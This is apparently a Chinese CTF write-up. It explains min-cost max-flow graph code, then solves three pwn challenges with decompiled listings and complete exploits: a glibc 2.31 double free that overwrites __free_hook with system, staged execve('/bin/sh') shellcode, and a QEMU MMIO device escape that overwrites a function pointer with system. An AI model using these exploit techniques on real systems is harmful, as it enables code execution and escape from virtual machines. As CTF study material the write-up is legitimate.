文章目录
前言
不能联网搜是真坐牢
mcmf
结构定义
链式前向星的基本思想是为图中的每个顶点维护一个链表,链表中的每个节点代表从该顶点出发的一条边,节点中通常存储目标顶点编号以及边的权值(如果有)。这样,每个顶点的邻接点可以通过遍历链表快速访问。
以C++为例,一个简单的链式前向星节点定义可能如下:
struct Edge {
int to; // 目标顶点编号
int weight; // 边的权值,可选,对于无权图可以忽略
int next; // 指向下一条边的指针,构成链表
};
同时,需要一个数组(或vector)来记录每个顶点的链表头节点的位置,以及一个全局的边数组(或vector)来存放所有的边信息。
const int MAXN = 100005; // 最大顶点数
Edge edge[MAXN << 1]; // 存储边,大小预估为最大顶点数的两倍,防止重边时越界
int head[MAXN], edgeCount; // head[i]表示第i个顶点的链表头指针,edgeCount记录当前边的数量
// 初始化
void init() {
memset(head, -1, sizeof(head)); // 初始时,每个顶点的链表头指针都设为-1
edgeCount = 0;
}
添加边
添加一条从from
到to
的边,可以这样做:
void addEdge(int from, int to, int weight = 1) {
edge[edgeCount].to = to;
edge[edgeCount].weight = weight;
edge[edgeCount].next = head[from];
head[from] = edgeCount++;
}
遍历邻接点
遍历某个顶点的所有邻接点,可以使用一个循环来实现:
void traverseAdj(int vertex) {
for(int i = head[vertex]; i != -1; i = edge[i].next) {
int adjVertex = edge[i].to;
// 在此处处理与adjVertex的关系,比如打印、进一步计算等
printf("Adjacent vertex of %d is %d\n", vertex, adjVertex);
}
}
示例场景
假设有一个包含多个节点的物流网络,目标是将商品从工厂(源点S)运输到多个分销中心(中间节点)再分发到各个销售点(汇点集合T1, T2, T3)。网络如下:
- 节点:S(源点)、A、B、C(中间节点)、T1、T2、T3(汇点)
- 边及属性:
- S到A:容量20单位,费用5元/单位
- S到B:容量15单位,费用4元/单位
- A到B:容量10单位,费用3元/单位
- A到C:容量12单位,费用2元/单位
- B到C:容量8单位,费用2元/单位
- B到T1:容量10单位,费用6元/单位
- C到T2:容量15单位,费用4元/单位
- C到T3:容量20单位,费用3元/单位
目标是最大化从S到所有T的总运输量,同时使总费用最小。
解决步骤
1. 初始化
- 初始化网络结构,记录每个边的容量和费用。
- 使用一个距离数组
dist[]
记录到各点的最短距离(初始时,除了源点S为0,其他均为无穷大)。 - 初始化一个队列用于SPFA算法。
2. 应用SPFA找最小费用增广路径
- 开始点:从源点S开始。
- 松弛操作:对于S的每个邻接点(A和B),计算通过S到达它们的费用,并更新它们的最短距离。然后将这些点加入队列。
- 队列处理:从队列中取出顶点,对于该顶点的每个邻接点,尝试通过当前顶点松弛到邻接点的路径。如果成功松弛,则标记邻接点并加入队列。这个过程一直进行,直到队列为空或找到到达某个汇点的路径。
3. 增广操作
-
找到增广路径:在MCMF问题中,我们首先使用如SPFA之类的算法寻找一条从源点S到某个汇点(这里以T1为例)的最短费用路径。在这个例子中,找到的路径是S->B->T1。
-
确定增广量:这条路径的“最小剩余容量”是指路径中容量最小的边还能通过多少流量。如果S->B的容量是15单位,B->T1的容量是10单位,那么整个路径的最小剩余容量是10单位,因为B到T1的容量限制了整个路径能通过的最大流量。
-
计算总费用:一旦确定了增广量(10单位),就需要计算沿着这条路径增广所带来的总费用。按照每条边的费用计算,S到B的费用是4元/单位,B到T1的费用是6元/单位,所以通过10单位流量的总费用是(10 \times (4 + 6) = 100)元。
-
更新网络状态:增广操作完成后,要更新路径上边的剩余容量。由于我们通过S->B->T1路径增加了10单位的流量,S到B的剩余容量从15单位减至5单位(15-10=5),B到T1的剩余容量变为0(因为已经用尽了)。
-
重复过程:完成一次增广后,需要继续寻找新的增广路径。由于B到T1的路径已经被完全利用,SPFA算法会探索其他路径,比如从S出发,经过其他节点(如A、C)到达其他汇点(T2或T3)。找到新路径后,再次执行增广操作,更新相应边的流量和剩余容量,并累加总费用。
4. 终止条件
- 当无法找到新的增广路径时,算法结束。
结果分析
- 最大流:通过不断增广,最终得到从S到所有T的最大可能运输量。
- 最小费用:所有增广路径的总费用之和即为最小费用。
逆向
参考源码https://blog.csdn.net/sugarbliss/article/details/89195128
#include<cstdio>
#include<cstring>
#include<algorithm>
#include<queue>
#define inf 0x3f3f3f3f
using namespace std;
const int maxn = 1e5 + 7;
bool vis[maxn];
int n,m,s,t,x,y,z,f,dis[maxn],pre[maxn],last[maxn],flow[maxn],maxflow,mincost;
//dis最小花费;pre每个点的前驱;last每个点的所连的前一条边;flow源点到此处的流量
struct node{int next,to,flow,dis;}edge[maxn];//flow流量 dis花费
int head[maxn],cnt;
queue <int> q;
void add(int u,int v,int flow,int dis)
{
edge[cnt] = (node){head[u],v,flow,dis}; head[u] = cnt++;
edge[cnt] = (node){head[v],u,0,-dis}; head[v] = cnt++;
//反边的流量为0,花费是相反数
}
bool spfa(int s,int t)
{
for(int i = 0; i < t + 10; i++)
dis[i] = inf, flow[i] = inf, vis[i] = 0;
q.push(s); vis[s] = 1; dis[s] = 0; pre[t] = -1;
while (!q.empty())
{
int now = q.front();
q.pop();
vis[now] = 0;
for (int i = head[now]; i != -1; i = edge[i].next)
{
if (edge[i].flow > 0 && dis[edge[i].to] > dis[now] + edge[i].dis)//正边
{
dis[edge[i].to] = dis[now] + edge[i].dis;
pre[edge[i].to] = now;
last[edge[i].to] = i;
flow[edge[i].to] = min(flow[now],edge[i].flow);//
if (!vis[edge[i].to])
{
vis[edge[i].to] = 1;
q.push(edge[i].to);
}
}
}
}
return pre[t] != -1;
}
void MCMF()
{
maxflow = 0, mincost = 0;
while(spfa(s,t))
{
int now = t;
maxflow += flow[t];
mincost += flow[t]*dis[t];
while (now != s)
{//从源点一直回溯到汇点
edge[last[now]].flow -= flow[t];//flow和dis容易搞混
edge[last[now]^1].flow += flow[t];
now = pre[now];
}
}
}
int main()
{
memset(head,-1,sizeof(head)); cnt = 0;//初始化
scanf("%d%d%d%d",&n,&m,&s,&t);
for(int i = 1; i <= m; i++)
{
scanf("%d%d%d%d",&x,&y,&z,&f);
add(x,y,z,f);
}
MCMF();
printf("%d %d",maxflow,mincost);
return 0;
}
main
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 4 )
break;
calc();
}
if ( v3 > 4 )
break;
switch ( v3 )
{
case 3:
del();
break;
case 1:
add();
break;
case 2:
edit();
break;
default:
goto LABEL_12;
}
}
LABEL_12:
exit(-1);
}
cal
unsigned __int64 calc(void)
{
int begin; // [rsp+0h] [rbp-10h] BYREF
int end; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("from?");
__isoc99_scanf("%d", &begin);
puts("to?");
__isoc99_scanf("%d", &end);
addEdge(101, begin, 0x3F3F3F3F, 0, 0LL);
addEdge(begin, 101, 0, 0, 0LL);
addEdge(end, 102, 0x3F3F3F3F, 0, 0LL);
addEdge(102, end, 0, 0, 0LL);
mincostmaxflow(101, 102);
printf("%lld\n", mincost);
if ( mincost <= 0xDEADBEEFLL )
exit(0);
libc();
return __readfsqword(0x28u) ^ v3;
}
del
unsigned __int64 del(void)
{
int begin; // [rsp+8h] [rbp-18h] BYREF
int end; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("from?");
__isoc99_scanf("%d", &begin);
puts("to?");
__isoc99_scanf("%d", &end);
if ( head[begin] == -1 ) // 以该节点出发的没有边
return __readfsqword(0x28u) ^ v5;
if ( edges[head[begin]]->end == end ) // head_begin是最后一条边的索引
{
i = head[begin];
LABEL_10:
if ( edges[i] )
free(edges[i]); // double free
puts("done.");
return __readfsqword(0x28u) ^ v5;
}
for ( i = head[begin]; i != -1; i = edges[i]->next )
{
if ( edges[edges[i]->next]->end == end ) // 下一条边的
{
v4 = i;
i = edges[i]->next;
edges[v4]->next = edges[edges[v4]->next]->next;// 删掉 把下一条边的next赋值给当前边的next
break;
}
}
if ( i != -1 )
goto LABEL_10;
return __readfsqword(0x28u) ^ v5;
}
add
unsigned __int64 add(void)
{
int begin; // [rsp+0h] [rbp-20h] BYREF
int end; // [rsp+4h] [rbp-1Ch] BYREF
int cost; // [rsp+8h] [rbp-18h] BYREF
int flow; // [rsp+Ch] [rbp-14h] BYREF
__int64 value; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
puts("from?");
__isoc99_scanf("%d", &begin);
puts("to?");
__isoc99_scanf("%d", &end);
puts("value?");
__isoc99_scanf("%lld", &value);
puts("cost?");
__isoc99_scanf("%d", &cost);
puts("flow?");
__isoc99_scanf("%d", &flow);
addEdge(begin % 100, end % 100, flow % 10, cost % 10, value);// 正方向
addEdge(end % 100, begin % 100, 0, -cost % 10, -value);// 反方向
printf("gift: %p\n", (const void *)(edges[ege_count - 2] & 0xFFFLL));
return __readfsqword(0x28u) ^ v6;
}
edit
unsigned __int64 edit(void)
{
unsigned int index; // [rsp+4h] [rbp-1Ch] BYREF
__int64 new_value; // [rsp+8h] [rbp-18h] BYREF
__int64 new_cost; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("index?");
__isoc99_scanf("%d", &index);
if ( index <= 0x63 && edges[index] ) // edit after free
{
printf("The value now is: %lld\n", edges[index]->value);
printf("The cost is now: %d\n", (unsigned int)edges[index]->cost);
puts("new value?");
__isoc99_scanf("%lld", &new_value);
puts("new cost?");
__isoc99_scanf("%lld", &new_cost);
edges[index]->value = new_value;
edges[index]->cost = new_cost % 10;
}
return __readfsqword(0x28u) ^ v4;
}
思路
- double free和edit after free,2.31,利用被free后使得cost和flow值修改绕过mincost泄露libc
- 然后就直接高版本double free 修改free_hook,然后free一个value部分为/bin/sh的edge就行
exp
from pwn import *
libc = ELF("./libc-2.31.so")
p = process("./pwn")
context(arch="amd64",os="linux")
context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']
def add(fro, end, value, cost, flow):
p.sendlineafter(b"choice: ", b"1")
p.sendlineafter(b"from?\n", str(fro).encode())
p.sendlineafter(b"to?\n", str(end).encode())
p.sendlineafter(b"value?\n", str(value).encode())
p.sendlineafter(b"cost?\n", str(cost).encode())
p.sendlineafter(b"flow?\n", str(flow).encode())
def edit(index, value, cost):
p.sendlineafter(b"choice: ", b"2")
p.sendlineafter(b"index?\n", str(index).encode())
p.sendlineafter(b"value?\n", str(value).encode())
p.sendlineafter(b"cost?\n", str(cost).encode())
def delete(fro, end):
p.sendlineafter(b"choice: ", b"3")
p.sendlineafter(b"from?\n", str(fro).encode())
p.sendlineafter(b"to?\n", str(end).encode())
def calc(fro, end):
p.sendlineafter(b"choice: ", b"4")
p.sendlineafter(b"from?\n", str(fro).encode())
p.sendlineafter(b"to?\n", str(end).encode())
add(0,1,1,1,1)
add(10,11,1,1,1)
add(20,21,1,1,1)
delete(0,1)
delete(1,0)
delete(10,11)
delete(11,10)
delete(20,21)
delete(21,20)
#利用残留的key部分绕过minicost泄漏libc地址
calc(0,1)
p.recvuntil(b"gitf: ")
libcbase=p.recv(14)
libcbase=int(libcbase,16)-0x1ecbe0
print("libc ",hex(libcbase))
pause()
# 高版本doublefree
add(2,3,1,1,1)
add(4,5,1,1,1)
add(6,7,1,1,1)
add(8,9,1,1,1)
add(10,11,1,1,1)
delete(2,3)
delete(3,2)
delete(4,5)
delete(5,4)
delete(6,7)
delete(7,6)
delete(8,9)
delete(9,8) #到fastbin中去
delete(10,11)
delete(9,8) # fastbin double free
add(2,3,1,1,1)
add(4,5,1,1,1)
add(6,7,1,1,1)
add(8,9,1,1,1)
free_hook=libcbase+0x1eee48
print("free_hook",hex(free_hook))
print("free_hook", str(free_hook-8))
system=libcbase+0x52290
gadget=libcbase+0xe3b04 #0xe3b01 0xe3b04
edit(0x1b,free_hook,1)
add(1,2,1,1,1)
# gdb.attach(p)
add(1,2,system,0,0)
#2f 62 69 6e 2f 73 68 0x0068732f6e69622f 68 73 2f 6e 69 62 2f
p.recvuntil(b"gift: ")
heap=p.recvuntil(b"\n")[:-1]
heap=int(heap,16)
print("heap",hex(heap))
pause()
add(1,2,0x0068732f6e69622f,1,1)
delete(1,2)
# add(50,51,1,1,1)
# delete(50,51)
# delete(51,50)
# pause()
# edit(0x21,heap,heap)
p.interactive()
vlun
https://survive2.github.io/posts/d743632a/
写入0x10字节的shellcode,保护全关
- 写入read的系统调用从而扩大shellcode
- 执行完read就执行read写入后的shellcode
执行movabs前rdi已经是0了,所以赋值/bin/sh就行
exp
from pwn import *
context(os="linux",arch="amd64")
p=process("./pwn")
gdb.attach(p)
pause()
p.sendlineafter(b"input name:",b"a"*38)
#没啥用
# pwndbg> plt
# Section .plt 0x400570-0x4005e0:
# 0x400580: strcpy@plt
# 0x400590: puts@plt
# 0x4005a0: strlen@plt
# 0x4005b0: setbuf@plt
# 0x4005c0: fgets@plt
# 0x4005d0: exit@plt
# pwndbg> got
# /home/llk/Desktop/复赛/vuln/vuln: file format elf64-x86-64
# DYNAMIC RELOCATION RECORDS
# OFFSET TYPE VALUE
# 0000000000600ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
# 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
# 0000000000601060 R_X86_64_COPY stdout@GLIBC_2.2.5
# 0000000000601070 R_X86_64_COPY stdin@GLIBC_2.2.5
# 0000000000601018 R_X86_64_JUMP_SLOT strcpy@GLIBC_2.2.5
# 0000000000601020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
# 0000000000601028 R_X86_64_JUMP_SLOT strlen@GLIBC_2.2.5
# 0000000000601030 R_X86_64_JUMP_SLOT setbuf@GLIBC_2.2.5
# 0000000000601038 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5
# 0000000000601040 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5
code='''
xor rax,rax
push rcx
pop rsi
xor rdi,rdi
syscall
'''
# 再次读取大量
asmm=asm(code,arch="amd64")
print(asmm)
p.sendline(asmm)
code='''
xor rax,rax
push rcx
pop rsi
xor rdi,rdi
syscall
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall
'''
asmm=asm(code)
print(asmm)
p.sendline(asmm)
p.interactive()
qeme
一眼qemu逃逸,启动添加了设备device
启动不行
由于我用的是zsh,所以导入环境变量加载共享库路径是导入到~/.zshrc
保护
没有符号表damn。。
逆向
直接搜edu-mimo,没有edu-pmio
找到mmio_read和mmio_write函数
__int64 __fastcall edu_mmio_read(__int64 pcistat, int addr)
{
__int64 v2; // r12
__int64 result; // rax
if ( addr > 36 )
{
if ( addr == 144 )
return *(_QWORD *)(pcistat + 3056);
if ( addr <= 144 )
{
if ( addr == 128 )
return *(_QWORD *)(pcistat + 3040);
if ( addr == 136 )
return *(_QWORD *)(pcistat + 3048);
}
else if ( addr == 152 )
{
return *(_QWORD *)(pcistat + 3064);
}
return v2;
}
if ( addr < 0 )
return v2;
switch ( addr )
{
case 0:
result = v2;
*(_QWORD *)(pcistat + 2632) = sub_399AE0;
break;
case 4:
return 1LL;
case 8:
result = qword_FD9C60;
break;
case 32:
(*(void (__fastcall **)(const char *))(pcistat + 2632))("cat flag");
result = v2;
break;
case 36:
result = *(unsigned int *)(pcistat + 3036);
break;
default:
return v2;
}
return result;
}
pcistat + 2632存的是一个函数指针,盲猜越界写system函数
void __fastcall edu_mmio_write(__int64 pcistat, int addr, __int64 size)
{
int v3; // ebx
__int64 v4; // rax
volatile signed __int32 *v5; // rbp
bool v6; // zf
int v7; // edx
unsigned int v8; // esi
v3 = size;
if ( addr == 96 )
{
v6 = ((unsigned int)size | *(_DWORD *)(pcistat + 3036)) == 0;
*(_DWORD *)(pcistat + 3036) |= size;
if ( v6 )
return;
if ( (unsigned __int8)sub_3E90F0(pcistat) )
{
sub_3E9630(pcistat, 0);
return;
}
v8 = 1;
goto LABEL_33;
}
if ( addr <= 96 )
{
switch ( addr )
{
case 0:
*(_QWORD *)(pcistat + 2632) = size;
break;
case 4:
*(_QWORD *)(pcistat + 2592) = ~size;
break;
case 7:
if ( (*(_DWORD *)(pcistat + 3032) & 1) == 0 )
{
off_FD77B0(pcistat + 2920, "../hw/misc/edu.c", 280LL);
*(_DWORD *)(pcistat + 3028) = v3;
_InterlockedOr((volatile signed __int32 *)(pcistat + 3032), 1u);
sub_7FCA90(pcistat + 2968, "../hw/misc/edu.c");
sub_7FC690((pthread_mutex_t *)(pcistat + 2920));
}
break;
case 8:
(*(void (__fastcall **)(const char *))(pcistat + 2632))("1");
qword_FD9C60 = (__int64)sub_399AE0;
break;
case 32:
v5 = (volatile signed __int32 *)(pcistat + 3032);
if ( (size & 0x80) != 0 )
_InterlockedOr(v5, 0x80u);
else
_InterlockedAnd(v5, 0xFFFFFF7F);
break;
default:
return;
}
}
else
{
if ( addr != 136 )
{
if ( addr > 136 )
{
if ( addr == 144 )
{
if ( (*(_BYTE *)(pcistat + 3064) & 1) == 0 )
*(_QWORD *)(pcistat + 3056) = size;
}
else if ( addr == 152 && (size & 1) != 0 && (*(_BYTE *)(pcistat + 3064) & 1) == 0 )
{
*(_QWORD *)(pcistat + 3064) = size;
v4 = sub_81C420(1LL);
sub_81C340(pcistat + 3072, v4 / 1000000 + 100);
}
return;
}
if ( addr != 100 )
{
if ( addr == 128 && (*(_BYTE *)(pcistat + 3064) & 1) == 0 )
*(_QWORD *)(pcistat + 3040) = size;
return;
}
v7 = ~(_DWORD)size;
v6 = (v7 & *(_DWORD *)(pcistat + 3036)) == 0;
*(_DWORD *)(pcistat + 3036) &= v7;
if ( !v6 || (unsigned __int8)sub_3E90F0(pcistat) )
return;
v8 = 0;
LABEL_33:
sub_3EE600(pcistat, v8);
return;
}
if ( (*(_BYTE *)(pcistat + 3064) & 1) == 0 )
*(_QWORD *)(pcistat + 3048) = size;
}
}
确实存在写pcistat + 2632,下一步泄露libc地址
题目给的脚本模版解压后在root文件
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio_base;
uint32_t mmio_read(uint32_t addr,uint32_t size){
return *(uint32_t *)(mmio_base + addr);
}
void mmio_write(uint32_t addr, uint64_t val,uint32_t size){
if (size == 1)
{
*((uint8_t*)(mmio_base + addr)) = val;
}else if (size == 2)
{
*((uint16_t*)(mmio_base + addr)) = val;
}else if (size == 4)
{
*((uint32_t*)(mmio_base + addr)) = val;
}else if (size == 8)
{
*((uint64_t*)(mmio_base + addr)) = val;
}
}
void exec_hello(uint64_t cmd,unsigned size)
{
mmio_read(0x00 & cmd,size);
}
uint32_t read_from_heap(uint8_t cmd,uint8_t idx,uint16_t offset,unsigned size)
{
uint32_t addr,val;
addr = (cmd << 24) & 0xFF000000;
addr = ((idx << 16) & 0xFF0000) | addr;
addr = (offset & 0xFFFF) | addr;
val = mmio_read(addr,size);
return val;
}
void edit(uint8_t cmd,uint8_t idx,uint16_t offset,unsigned size,uint64_t *val)
{
uint32_t addr;
addr = (cmd << 24) & 0xFF000000;
addr = ((idx <<16) & 0xFF0000 ) | addr;
addr = (offset & 0xFFFF) | addr;
mmio_write(addr,val,size);
}
void over_write(uint8_t cmd,unsigned size,uint64_t *val) //越界写edu
{
uint32_t addr;
addr = (cmd << 24) & 0xFF000000;
mmio_write(addr,val,8);
}
void malloc(uint8_t cmd,uint64_t counts,unsigned size)
{
uint32_t addr;
addr = (cmd << 24) & 0xFF000000;
mmio_write(addr,counts,size);
}
void free(uint8_t cmd,uint8_t idx)
{
uint32_t addr;
addr = (cmd << 24) & 0xFF000000;
addr = ((idx << 16) & 0xFF0000) | addr;
mmio_write(addr,1,1);
}
void nor(uint8_t cmd,int64_t val)
{
uint32_t addr;
addr = (cmd << 24) & 0xFF000000;
mmio_write(addr,val,8);
}
int main(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}
这里不是很懂设置这些(cmd << 24) & 0xFF000000;,调试时候发现没有进入edu_mmio_read或者edu_mmio_write,也不知道啥处理逻辑,只能看到出现segement fault,然后出现一些libc地址和heap地址,和相关寄存器的值,但这些是虚拟地址,但脚本会崩溃,
。。。。。。
问到了Qanux师傅,帮忙联系到了出题师傅,得知解压后得到的那个root文件根本不是用来交互的。。。但不知道为啥会有这玩意,还是感谢师傅的帮助
解开了迷惑,然后看的话,还是很明显的。。都怪自己太菜了,一直想着从给的root脚本找路子
泄露地址然后直接写函数指针就okl
mmio_read函数中的会读取qword_FD9C60的值
mmio_write函数中会调用函数,然后将sub_399AE0赋值给qword_FD9C60,这里可以泄露pie基地址
正好存在system函数,结束!!!
低三位偏移写即可
exp
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void*mmio_base;
uint32_t mmio_read(uint32_t addr )
{
return *(uint32_t*)(mmio_base+addr);
}
uint64_t mmio_read_8(uint32_t addr )
{
return *((uint64_t*)(mmio_base+addr));
}
void mmio_write(uint32_t addr,uint64_t size,uint64_t val)
{
*(uint64_t *)(mmio_base + addr) = val;
}
int main()
{
setbuf(stdin,0);
setbuf(stdout,0);//立即显示到终端上
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
mmio_read(0);
mmio_write(8,8,10);
uint64_t libc=mmio_read_8(8); //知道低32位就足够了
printf("pie %p",libc); //printf("pie %x",libc);只会输出低32个字节
uint64_t sys=libc+0x144919-0x209509; //直接设置地址为00000000004DE3F9 call _system会存在对齐出错,直接为system的plt表上的地址,使得rsp对齐
mmio_write(0,1,sys);
mmio_read(32);
return 0;
}